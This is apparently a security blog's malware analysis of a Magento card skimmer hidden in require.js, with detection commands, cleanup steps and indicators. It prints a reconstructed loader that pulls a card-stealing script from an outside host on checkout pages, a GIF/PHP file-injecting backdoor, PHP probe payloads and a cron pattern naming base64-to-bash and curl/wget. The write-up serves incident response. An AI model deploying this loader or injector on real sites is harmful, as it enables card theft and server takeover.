Back to Articles

Half the Checkouts, Once a Month: A Magento Card Skimmer Hidden Inside require.js

Share:
Customer paying with a smartphone at a shop checkout counter, representing an online store checkout targeted by a card skimmer

The report from the store owner was short and alarming: "Customers on their phones see an extra credit-card form at checkout." On desktop, nothing visible happened — but some customers' antivirus was blocking a script on the checkout page as a generic password stealer. The admin panel looked normal. The CMS pages and blocks were clean. The theme files on disk were clean. And yet the checkout was quietly handing card details to someone else.

The skimmer was not in a template, not in the database and not in a module. It was appended to RequireJS — the JavaScript loader that every Magento 2 storefront page loads first — inside the pub/static folder that Magento generates at deploy time. This article walks through how that loader worked, why it reappeared after it had been cleaned once, the polyglot image backdoors and webshells that sat next to it, and the read-only commands you can use to check your own Magento store. All identifying details of the affected store have been removed.

🎯 Why require.js is the perfect hiding place

Magento 2 does not serve JavaScript from your source folders. During setup:static-content:deploy it copies and compiles every asset into pub/static/frontend/<Vendor>/<theme>/<locale>/, and the browser loads requirejs/require.js from there before anything else. That makes it attractive for three reasons:

  • It runs on every page. Home, category, product, cart and checkout all load it, so one edit reaches the whole store.
  • Nobody reviews generated files. Developers look at app/, vendor/ and the database. pub/static is treated as a build artefact — something you delete and regenerate, not something you read.
  • It is big and minified-looking. A few kilobytes of extra code at the end of an 85 KB third-party library are easy to miss, and a theme can have several copies (one per theme and locale) that all look identical.

On this store the attacker modified every frontend copy: the stock blank and luma themes plus three copies belonging to the commercial theme in use. Each infected file grew from about 86 KB to 90,171 bytes. The admin panel's copy was left alone — there are no credit cards to steal there, and an untouched backend is one less thing for the owner to notice.

🔐 The loader: RC4-encrypted strings and a 50% coin flip

The appended code did not contain a single readable string. Every literal — cookie, location, /checkout/, the external URL — was stored as base64 and decrypted at runtime with a small RC4 routine under a random function name. The decryptor is always recognisable by the same core line of the RC4 algorithm:

// typical shape of the string decryptor (names are random per sample)
function gNG2Jcl0zrG(data, key) {
    var s = [], j = 0, x, out = '';
    for (var i = 0; i < 256; i++) s[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
        x = s[i]; s[i] = s[j]; s[j] = x;
    }
    i = j = 0;
    for (var y = 0; y < data.length; y++) {
        i = (i + 1) % 256; j = (j + s[i]) % 256;
        x = s[i]; s[i] = s[j]; s[j] = x;
        out += String.fromCharCode(data.charCodeAt(y) ^ s[(s[i]+s[j])%256]);
    }
    return out;
}

After decrypting every string and renaming the variables, the logic is short. This is a readable reconstruction:

(function () {
    function run() {
        if (document.cookie.includes('o3b1w2l0j6r7n1h5')) return; // operator's own browser
        if (!location.href.includes('/checkout/'))        return; // checkout pages only
        if (Math.random() >= 0.5)                          return; // only half of visitors
        if (document.cookie.includes('y9UyerY'))           return; // already served once

        var s = document.createElement('script');
        s.src = 'https://li.bliklinks[.]com/li.php?uid=' + btoa(uuidv4());
        document.body.appendChild(s);

        var d = new Date();
        d.setTime(d.getTime() + 30 * 86400 * 1000);              // 30 days
        document.cookie = 'y9UyerY=1; expires=' + d.toUTCString() + '; path=/';
    }
    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', run);
    } else {
        run();
    }
})();

Every condition is there to keep the skimmer from being seen:

  • Checkout only. Browsing the catalogue, testing the homepage or running a crawler over product pages never triggers it.
  • A coin flip. Math.random() < 0.5 means a store owner who places a test order has a 50% chance of seeing nothing at all — and if they try again, the next condition kicks in.
  • Once per visitor, per month. The y9UyerY cookie is set for 30 days the first time the payload loads. A customer who notices something odd and reloads the page gets a clean checkout, which makes complaints sound like imagination.
  • An exclusion cookie for the operator. A browser carrying o3b1w2l0j6r7n1h5 is skipped entirely, so the attacker can test the live store without filling their own payload logs.
  • A per-victim ID. The uid parameter is a base64-encoded UUID, so the server behind li.php can tie a stolen card to one visit and serve each victim exactly once.

The actual card form — the overlay that customers saw on their phones — is never stored on the store. It is delivered by the external script, so it can be changed, targeted by device, or switched off at any time without touching the server again. That is also why the symptom was mobile-only: what to show, and to whom, is decided remotely.

♻️ Why replacing require.js was not enough

Replacing the poisoned require.js copies was the first cleanup step, and it was not the end of it. The same loader was also sitting inside two 30,619-byte files in a folder the store's JavaScript merge-and-minify extension uses for its bundles, pub/static/_<extension>/<hash>.js. Those bundles had been written two weeks after the original injection, and the logs showed no attacker activity at that moment — only a burst of server errors while the extension rebuilt its cache.

The likely explanation is mundane and important: the bundler concatenates require.js into its own output. When it regenerated its bundles while an infected copy was still in place, it faithfully baked the skimmer into a new file with a new name and a new hash. Clean the source but not the bundle, or rebuild the bundle before the source is clean, and the skimmer survives.

In Magento, a JavaScript infection is rarely in one file. Every layer that copies, merges or caches JavaScript — static deploy, third-party bundlers, full-page cache, CDN — can hold its own copy. Clean in the order the data flows.

The order that actually works:

  1. Confirm the source (lib/web/, vendor/, app/design/) is clean.
  2. Delete the generated copies and every third-party bundle folder in pub/static.
  3. Redeploy static content.
  4. Flush Magento's caches, then any full-page cache and CDN in front of the store.
  5. Verify the file the origin serves, not the one your browser cached.

🖼️ The backdoor behind it: a GIF that lives for three minutes

A skimmer in pub/static needs write access to the server, so the next question was how the attacker got that access and whether they still had it. The answer was in pub/media/customer_address/ — the folder where Magento stores files that customers upload as part of an address. Two 14,468-byte files with random hexadecimal names and a .gif extension were planted there three days before the skimmer appeared.

Both are genuine 1×1 GIF images, which is why file reports them as images and why an image viewer opens them. Directly after the GIF header, they contain PHP:

GIF89a
<?php $__age=@filemtime(__FILE__);
if (($__age!==false && time()-$__age>180)
    || !isset($_SERVER['HTTP_X_39159ECAEECA'])
    || !hash_equals('d151caca3b45…', (string)$_SERVER['HTTP_X_39159ECAEECA'])) {
    return [];
}
register_shutdown_function(static function () {
    // condensed: read a target PHP file, inject a payload after its opening tag
    $out = str_replace('<?php', '<?php '.$pld, $out);
    if (@file_put_contents($epath, $out, LOCK_EX) !== false) { @touch($epath); }
    if (function_exists('opcache_reset')) { @opcache_reset(); }
});

This is a carefully designed one-shot injector:

  • It expires. If more than 180 seconds have passed since the file was last modified, it returns immediately and does nothing. The attacker uploads it, uses it within three minutes, and from then on it is inert — anyone who finds and tests it later sees a harmless file.
  • It needs a secret header. A custom request header with a random name must carry a 48-character token, compared with hash_equals() so even timing does not leak it. The second GIF used a different header name and token.
  • It returns an empty array. return []; is an odd thing for a webshell to do. It makes sense if the file is not meant to be requested directly but pulled in by an include somewhere that expects an array — the behaviour you would design for a file-inclusion exploit.
  • It writes into other PHP files, then hides the edit. The real work runs at shutdown: it injects a payload right after <?php in a target file, touch()es it, and resets OPcache so the modified code is live immediately.

Neither image was flagged by the server's security scanner. Size, extension and file type all said "GIF".

🧪 Probes in the error reports

Magento writes every unhandled exception to var/report/<id> as a small JSON file containing the error message and stack trace. If an attacker can make the error message contain PHP, they have written PHP to disk — and if they can then include that report file, they have code execution. Two such reports were among the thousands of legitimate ones:

…"<?=hash('sha256',$_GET[0])?>","script_name":"\/pub\/index.php","report_id":"c651a785…"
…"<?=base64_decode($_GET[0])?>" …

The first is a probe: if including the report returns the SHA-256 of a value the attacker chose, the include works. The second is an echo primitive that writes back whatever is sent. Legitimate stack traces quote file paths, never PHP opening tags, so these stand out immediately once you search for them.

🐚 The rest of the foothold

Once the upload folders were treated as hostile, the rest followed:

  • Two webshells directly in pub/, next to Magento's real entry points: a 140 KB WSO / FilesMan shell, and a file manager that answers only when a specific cookie is present and otherwise returns a convincing fake 404. Both had their modification time forged to a date three years earlier, so they sorted among the oldest files of the install.
  • A JPEG/PHP polyglot with an .inc extension in pub/media/custom_options/quote/ (the folder for files attached to product custom options), running system() when a GET parameter carried the right key.
  • 45 forged PHP session files named sess_* in the customer-address upload folder, collected over seven months. Several contained an admin| section. Session files have no business in an upload folder; they were staged to be loaded as a session by a vulnerable code path.
  • Calling-card text files advertising a shell seller, and a few zero-byte or 46-byte "can I write here?" test drops in pub/.
  • Two new admin accounts, created 24 minutes after the skimmer was written. One was called install with the email magento_installer@magento.com — a name and domain chosen to look like part of the platform. Neither had ever logged in, which fits accounts kept in reserve.
  • A cron entry named like a kernel process that ran base64 -d | bash every hour from a hidden folder named after a system-monitoring tool's config directory.

The server's security software had already neutralised the two pub/ webshells and the JPEG polyglot by emptying them. That is useful, but an emptied file in pub/ still tells you the attacker could write there — and none of the skimmer files, the GIF injectors or the report-file probes had been flagged.

🔍 How to check your own Magento store

All of these commands are read-only. Run them from the Magento root as the store's file owner.

1. Compare every deployed require.js with the stock copy

STOCK=vendor/magento/magento2-base/lib/web/requirejs/require.js
sha256sum "$STOCK"
find pub/static -path '*/requirejs/require.js' | while read -r f; do
    cmp -s "$f" "$STOCK" && echo "OK    $f" || echo "DIFF  $(stat -c '%s %y' "$f")  $f"
done

After a clean deploy every copy should be byte-identical to the stock file. If JavaScript minification is enabled, the deployed copies will legitimately differ; in that case they should at least all be identical to each other and have the same size and timestamp as the rest of the deploy. One copy that is larger or newer than its siblings is a strong lead.

2. Look for the decryptor and the indicators everywhere JavaScript is served

# RC4 core line: very rare in legitimate storefront code, inspect every hit
grep -rlF 's[(s[i]+s[j])%256]' pub/static pub/media 2>&1 | head -50

# known strings from this campaign
grep -rlE 'bliklinks|o3b1w2l0j6r7n1h5|y9UyerY' pub/ app/ 2>&1 | head -50

# JavaScript written after the last static deploy
find pub/static -name '*.js' -newer pub/static/deployed_version.txt -printf '%TY-%Tm-%Td %TH:%TM %s %p\n' | sort

3. Find PHP in the upload folders, whatever the extension

grep -rlaE '<\?(php|=)' pub/media/customer_address pub/media/custom_options 2>&1
find pub/media/customer_address pub/media/custom_options -type f -name 'sess_*'

Any hit inside an image or an unusual extension (.inc, .phtml, .php3) is worth reading. Do not judge by extension or by file output — a polyglot passes both.

4. Find PHP planted in error reports and logs

grep -rlaE '<\?(php|=)' var/report var/log 2>&1 | head -100

5. Diff pub/ against stock Magento

for f in pub/*.php pub/*.phtml pub/*.inc; do
    [ -e "$f" ] || continue
    s=vendor/magento/magento2-base/pub/$(basename "$f")
    if [ -f "$s" ]; then cmp -s "$f" "$s" && echo "STOCK     $f" || echo "MODIFIED  $f"
    else echo "NON-STOCK $f"; fi
done

Ignore modification times entirely; both pub/ webshells here had forged dates. Judge files by content and by comparison with the stock copy.

6. Review admin accounts and cron

SELECT user_id, username, email, created, logdate, is_active
FROM admin_user ORDER BY created DESC LIMIT 20;
crontab -l | grep -nE 'base64 +-d|\| *(ba)?sh|curl|wget'

Check every admin created around the time of the infection, especially names that sound official and accounts that have never logged in.

🧹 Cleaning up

  1. Collect evidence first. Copy every malicious file, with its hash and timestamps, to a folder outside the document root, and take a full database dump.
  2. Remove the access before the symptom. Delete the polyglot injectors, webshells, forged sessions and poisoned report files first, so the attacker cannot simply re-infect the JavaScript after you clean it.
  3. Rebuild static content in the right order: clean source, delete the generated copies and every third-party bundle folder, redeploy, then flush every cache layer.
  4. Remove the attacker's admin accounts and review the remaining ones, then change admin, database and deployment credentials.
  5. Inspect the crontab and any hidden folder it references before deleting it, so you know what the hourly job was fetching.
  6. Verify from the origin. Fetch require.js from the server directly, bypassing the CDN, and compare its hash with the stock file.
curl -sk --resolve example.com:443:<origin-ip> \
  https://example.com/static/version<N>/frontend/<Vendor>/<theme>/en_US/requirejs/require.js \
  | sha256sum

The hash must match the stock file (or the rest of a minified deploy), and a grep of the response for the RC4 line and the indicators below must return nothing.

📌 Indicators

# Skimmer loader (SHA-256)
c6d12841ac9c0ed862b7e4d88d712a1c56e00eb02730db7b0c81507bef05c8f5  require.js with appended loader (90,171 bytes)
2ac2e24cbaa687a430095626d43aee1202aaa7c3f007a9dd912f3ffbf351a2a3  require.js variant (107,717 bytes)
48e66a5f1a41d2ff4c19dbdc59275360b46a92fde3c703d67f3a5235eab64582  regenerated bundle containing the loader (30,619 bytes)

# GIF/PHP one-shot injectors (SHA-256)
2bebd991f046786dfa3da787700e72c3e5e23d1eed2c10d5f44e282fece7ced1  <32-hex>.gif (14,468 bytes)
568d863039f2669ae619a4da0d7e6a32a684e0d54892e4719bdd7bfcb9419d78  <32-hex>.gif (14,468 bytes)

# Webshell
5af9cc9b422cf4e69fa72350ea7b8825f4c82f9eaa9c5b271b32856bea72485b  WSO / FilesMan in pub/ (140,242 bytes)

# Network
li.bliklinks[.]com/li.php?uid=

# Strings and cookies
s[(s[i]+s[j])%256]          RC4 decryptor core
o3b1w2l0j6r7n1h5            operator exclusion cookie
y9UyerY                     30-day "already served" cookie
HTTP_X_39159ECAEECA, HTTP_X_99620BDA4DCA   injector gate headers
<?=hash('sha256',$_GET[0])?>   report-file probe
<?=base64_decode($_GET[0])?>    report-file echo primitive

# Accounts
admin username "install", email magento_installer@magento.com

✅ Takeaways

  • Generated files are code too. pub/static is what customers actually execute. Compare it with the source after every incident instead of assuming a redeploy fixed it.
  • Targeting hides skimmers better than obfuscation. Checkout-only, one visitor in two, once a month, never for the operator: most test orders will look clean even while the store is leaking cards.
  • Every copy of JavaScript is a reinfection source. Bundlers, page caches and CDNs can keep serving a skimmer you already removed from its original file. Clean in the order the data flows, then verify the origin.
  • Upload folders are code folders until proven otherwise. A GIF that is a valid image can still be PHP, and a one-shot injector that expires after 180 seconds will look harmless to anyone who tests it later.
  • Remove the access, not just the symptom. The skimmer was the visible part. The polyglots, webshells, report probes, forged sessions, extra admins and cron job were what kept the store owned.

❓ Frequently asked questions

How do I check whether my Magento require.js is infected?

Compare every pub/static/**/requirejs/require.js with vendor/magento/magento2-base/lib/web/requirejs/require.js using cmp or sha256sum. Without minification they should be byte-identical. Any copy that is larger or newer than the others, or contains an RC4 routine or an external script URL, should be inspected.

Why is the Magento skimmer still served after cleaning require.js?

Third-party JavaScript merge and minify extensions write their own bundles that include require.js. If a bundle was built from an infected copy, or rebuilt before the source was clean, it carries the skimmer forward. Delete all generated copies and bundle folders, redeploy static content, and flush every cache layer.

Why does the fake card form appear only for some customers?

The loader only runs on checkout pages, only for about half of visitors, only once per browser every 30 days, and never for the attacker's own browser. The card form itself is delivered by an external script, which can also decide by device what to show.

Can an image in Magento's media folder run PHP?

A file can be a valid GIF or JPEG and contain PHP at the same time. Whether it executes depends on the web server configuration and on whether a vulnerable code path includes it. Search upload folders for PHP opening tags regardless of extension, and remove any file that contains them.